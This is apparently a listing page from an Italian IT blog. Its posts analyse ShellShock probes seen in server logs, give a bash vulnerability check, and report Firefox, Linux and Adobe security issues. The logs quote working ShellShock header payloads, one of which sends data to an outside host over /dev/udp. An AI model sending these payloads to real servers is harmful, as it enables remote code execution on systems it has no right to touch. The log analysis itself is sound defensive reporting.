Tentativi di exploit di ShellShock

Poco tempo dopo l’annuncio di ShellShock i tentativi di hacking sono già iniziati.

Questa mattina i log di alcuni server che amministro rivelano quasi tutti l’accesso con masscan spiegato in questo articolo, ma si tratta di un’analisi, non di un tentativo vero e proprio di sfruttare la vulnerabilità. In questo caso la stringa richiesta via http è quella che si vede nell’articolo.

Anche il servizio di hosting Snel sta facendo passare la rete alla ricerca di host vulnerabili dall’IP 89.207.135.125:

“GET /cgi-sys/defaultwebpage.cgi HTTP/1.0” 404 63579 “-” “() { :;}; /bin/ping -c 1 198.101.206.138”

Un altro apparente test, ma con richieste più dettagliate arriva dall’IP 54.251.83.67 appartenente al cloud computing di Amazon:

“GET / HTTP/1.1” 200 4093 “-” “() { :;}; /bin/bash -c \”echo testing9123123\”; /bin/uname -a”

Altro tentativo dal 24.251.197.244, un IP di Cox:

“GET / HTTP/1.1” 200 208051 “-” “() { :; }; echo -e \”Content-Type: text/plain\\n\”; echo qQQQQQq”

Decisamente il meno amichevole di tutti il tentativo che proviene dall’IPv6 2001:4800:7812:514:1b50:2e05:ff04:c849 di un datacentre americano di RackSpace

“GET / HTTP/1.1” 200 208133 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”

Notare qui l’uso di /dev/udp descritto in questo articolo.

ShellShock

È stato scoperto un baco serio in bash, che consente, in determinate situazioni, ad un attaccante di eseguire programmi arbitrari sul computer della vittima (RCE, Remote Code Execution).

bash è probabilmente la shell più diffusa tra i sistemi *NIX, in quanto è la shell di default della gran parte delle distribuzioni Linux ed è la shell utilizzata da OSX.

La shell è il programma che permette all’utente di eseguire altri programmi, interagire con il file system e il sistema operativo ed eseguire altre azioni in relazione all’ambiente e al tipo di shell. Oltre a bash, gli ambienti *NIX hanno, tra le altre, zsh, csh, sh. La shell di Windows è Explorer.exe, prima di Windows c’era COMMAND.COM, che alcuni sostituivano con 4DOS.

Il metodo veloce per scoprire se una bash è vulnerabile è eseguire questo comando:

env x='() { :;}; echo vulnerabile' bash -c "echo io sono un test"

Se bash non ritorna un warning, ma scrive semplicemente vulnerabile e poi io sono un test, la bash è vulnerabile.

Innanzi tutto: non è vero che ogni computer che ha bash a bordo è vulnerabile per il fatto di avere bash a bordo.

Leggi tutto “ShellShock”

Il bug che non ti aspetti

Per chi lavora in ambito IT è una esperienza comune sentire un utente lamentarsi per un programma che ha un errore e non funziona correttamente.
Per quanto il mondo informativo sia spesso oggetto di scherno, sappiamo che in generale gli applicativi vengono sottoposti a un debug abbastanza attento prima del rilascio e normalmente non contengono errori di grande entità, soprattutto in relazione alla loro complessità. Normalmente si tratta semplicemente di un utente che non ha mai letto il manuale e sta cercando di far fare al software qualche operazione in maniera scorreta.
Tuttavia i bug esistono e se ne trovano anche in software blasonati.

Settimana scorsa stavo scrivendo un frammento di codice che interpreta un feed RSS e crea tanti oggetti quanti sono i posts in modo da poterli manipolare all’interno della mia applicazione. Le proprietà dell’oggetto post nel mio applicativo sono fortemente tipizzate, quindi la classe post contiene una proprietà PubDate che rappresenta un oggetto di tipo DateTime. Dato che la data nel feed è semplicemente una stringa di testo, questa va sottoposta a una operazione di Parsing per essere identificata come una data.

Questo è molto semplice da fare nel .NET Framework: la data nel feed è formattata in quello che è volgarmente definito RFC1123 (che in effetti si basa sullo standard ISO8601) e il framework mette a disposizione la funzione DateTime.Parse che fa tutto il lavoro di conversione dandole semplicemente come input la stringa di testo.

Provo la funzione, tutto bene.
Tutto bene fino a quando il software non arriva a processare la data Sun, 15 Mar 2009 22:02:44 +0000. Leggi tutto “Il bug che non ti aspetti”

Di bug e aggiornamenti, di backup e restore, di ventole e sensori, di ingegno e riparazioni

Aggiornamento: mi hanno fatto notare che mancava il riferimento allo spreco di (mia) energia; aggiornato un link; corretto un typo.

Ogni tanto mi chiedono se mi diverto col mio lavoro. Be’, oddio, non è che mi sganasci dalle risate tutto il giorno, ma ci sono giornate di lavoro e giornate di lavoro. Poi, di quando in quando, ne capita una fuori dagli schemi che ti lascia almeno vagamente sorpreso, perplesso e magari anche un po’ divertito. A quel punto, invece di combattere la bizzarria del momento, la cavalco: arrivo comunque a fine giornata, sorrido di più e soprattutto spreco meno energia, quindi ne posso redirigere di più verso la soluzione. Per esempio, una settimana fa mi sono imbattuto in quello che credo essere il mio primo vero bug. E mica un bug qualsiasi, era un bug esotico!

Leggi tutto “Di bug e aggiornamenti, di backup e restore, di ventole e sensori, di ingegno e riparazioni”

Firefox: esposizione della password nell’URL

In mancanza di altri programmi i browser possono essere utilizzate anche come client FTP.

Per collegarsi, ad esempio, a mail.siamogeek.com con l’utente utente e la password segreta si può digitare questo URL:

ftp://utente:segreta@mail.siamogeek.com

Purtroppo Firefox registra questo URL nella cache, quindi se, dopo essersi collegati la prima volta a questo sito, si digita di nuovo l’inizio (o parte) dell’URL ecco cosa appare:

State, quindi, attenti se utilizzate browser altrui per collegarvi a siti di cui non volete rivelare la password.

Una segnalazione del baco è già presente in Bugzilla.

No, l’utente utilizzato per questa dimostrazione non esiste più, è inutile tentare, tanto non funziona. (via Bugtraq)

Problema di sicurezza di Linux a 64 bit

Ben Hawkes ha scoperto un problema nella gestione della sicurezza del layer di compatibilità a 32 bit di Linux a 64 bit.

Il baco permette ad un attaccante di guadagnare i privilegi di root; l’attacco deve avvenire eseguendo un’applicazione sul sistema da attaccare. È disponibile il sorgente C che sfrutta questo baco.

Se non girano applicativi a 32 bit è possibile disabilitare il layer di compatibilità con questo comando suggerito nella mailing list Full Disclosure:

echo ':32bits:M:0:\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register

che dice al kernel di eseguire /bin/echo al posto di qualsiasi applicativo a 32 bit.

Una patch è già stata trovata e probabilmente verrà inclusa nella prossima release del kernel. (via Slashdot)

Scoperto un problema di sicurezza di Firefox

FirefoxTreatpost segnala un problema di sicurezza che interessa tutte le versioni di Firefox scoperto da Armorize.

Il browser non controlla gli indirizzi offuscati a cui si accede attraverso IFRAME, permettendo ad un attaccante di confondere o nascondere l’indirizzo del sito che si sta effettivamente visitando.

Leggi tutto “Scoperto un problema di sicurezza di Firefox”

Aggiornamento per Adobe Flash e Adobe Air

Aggiornamento per i prodotti Air e Flash di Adobe per correggere un problema critico di sicurezza che, secondo Adobe, potrebbe provocare un crash dell’applicazione e un potenziale controllo del sistema attaccato da parte di malintenzionati.

Leggi tutto “Aggiornamento per Adobe Flash e Adobe Air”